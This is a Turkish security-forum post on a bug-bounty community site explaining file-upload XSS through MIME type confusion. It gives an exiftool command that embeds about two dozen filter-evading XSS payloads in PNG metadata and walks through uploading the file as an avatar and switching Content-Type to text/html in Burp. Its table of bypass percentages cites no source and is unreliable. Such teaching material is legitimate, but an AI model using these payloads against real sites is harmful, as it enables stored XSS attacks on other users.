Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

File Upload XSS via MIME Type Confusion

  • Konuyu Başlatan Konuyu Başlatan 1atakan1
  • Başlangıç tarihi Başlangıç tarihi

1atakan1

Moderator
Aday
Katılım
2 Ocak 2026
Mesajlar
19
Tepkime puanı
22
Puan
3

File Upload XSS via MIME Type Confusion​

Genel Tanım​

File Upload XSS via MIME Type Confusion, dosya yükleme (upload) fonksiyonlarının yanlış veya eksik doğrulanması sonucunda, saldırganın zararlı bir dosyayı güvenli gibi göstererek yükleyip tarayıcı tarafından çalıştırılmasını sağlamasına olanak tanıyan bir güvenlik açığıdır.
Bu zafiyet, özellikle sunucu tarafında dosya türü doğrulamasının yalnızca Content-Type (MIME type) header’ına güvenilerek yapılması durumunda ortaya çıkar.
Stored (Persistent) XSS Etki:tehlikeli çünkü tek bir kullanıcıyı değil, birçok kullanıcıyı etkileyebilir
Bu tür saldırılar, dosya yükleme güvenliği ve Content-Type doğrulaması olmayan sistemlerde etkilidir.


KARŞILAŞTIRMA TABLOSU:

Content-Type Bypass Oranı
application/octet-stream %85-90
image/jpeg %60-70
text/plain %50-60
text/html %40-50
image/png %30-40
multipart/form-data %20-30



Zafiyet Nasıl Oluşur?​

Bir dosya upload mekanizması genellikle şu kontrolleri yapar:
Dosya uzantısı (örn: .jpg, .png)
MIME Type (image/jpeg, image/png)
Dosya içeriği (magic bytes) çoğu zaman yapılmaz

Eğer uygulama:

Sadece MIME type kontrolü yapıyorsa
Ya da MIME type kontrolünü istemciden gelen header’a güvenerek yapıyorsa
saldırgan, JavaScript içeren bir dosyayı image/jpeg gibi masum bir MIME type ile göndererek yükleyebilir.



İSTİSMAR SENARYOSU:
1. Boş bir PNG dosyası oluştur:
İstediğin herhangi bir PNG dosyasını kullanabilirsin


2.Exif metadata'ya payload ekle:
exiftool \
-Comment='"><svg/onload=alert(1)>' \
-Artist='"><ImG sRc=x oNeRrOr=alert(2)>' \
-Copyright='"><iframe%00src=javascript:alert(3)></iframe>' \
-ImageDescription='"><meta http-equiv="refresh" content="0;url=javascript:alert&#40;4&#41;">' \
-GPSLatitude='"><script>alert\u0028"5"\u0029</script>' \
-GPSLongitude='"><object data=javascript&colon;alert(6)></object>' \
-IPTC:Caption-Abstract='"><img src=x onerror=setTimeout(alert,1000,"8")>' \
-exif:UserComment='"><marquee onstart=alert%25289%2529></marquee>' \
-exif:MakerNote='"><body onload="alert(10)">' \
-exif:XPComment='"><svg onload=alert&lpar;11&rpar;>' \
-exif:XPKeywords='"><script>/*test*/alert(12)//</script>' \
-exif:XPSubject='"><img src=x onerror=window["al"+"ert"](13)>' \
-exif:XPTitle='"><img src="x:gif" onerror=alert(14)>' \
-IPTC:Keywords='"><details/open/ontoggle=alert(15)>' \
-IPTC:SpecialInstructions='"><form><button formaction=javascript:alert(16)>X</button>' \
-IPTC:By-line='"><input autofocus onfocus=alert(17)><!--' \
-XMP:Creator='"><video><source onerror=alert(18)>' \
-XMP:Rights='"><audio><source onerror=alert(19)>' \
-XMP:Title='"><style>@keyframes x{from{left:0}to{left:100%}}*{animation:x 1s; animation-name:alert(20)}</style>' \
-exif:ImageHistory='"><img src=data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw== onload=alert(21)>' \
-exif:GPSProcessingMethod='"><img src="http://attacker.com/x.jpg" onerror=eval(String.fromCharCode(97,108,101,114,116,40,50,50,41))>' \
-exif:GPSAreaInformation='"><svg><animate onbegin=alert(23) attributeName=x dur=1s>' \
-exif:GPSDateStamp='"><math><mi//xlink:href="data:x,<script>alert(24)</script>">' \
test.png


3. DOSYA YÜKLEME
Hedef sitede profil fotoğrafı değiştir:
"Upload Photo" veya "Change Avatar" butonuna tıkla


4. BURP SUITE İLE YAKALAMA profil fotoğrafını değiştirirken yapacaksın

5.Content-Type'ı değiştir:Content-Type: text/html olarak kaydet "Forward" butonuna tıkla

6. XSS'Tİ TETİKLEME

Profil sayfasına git:
Profil resminin yüklendiğini kontrol et
F12 Developer Console aç:
Profil resmine sağ tıkla → "İncele" (Inspect)
Resmin HTML kodunu bul
URL'yi yeni sekmede aç:
Resmin URL'sini kopyala

7.Yeni sekmede aç: https://site.com/uploads/benim_resim.png
Alert çalışacak!
 
Geri
Üst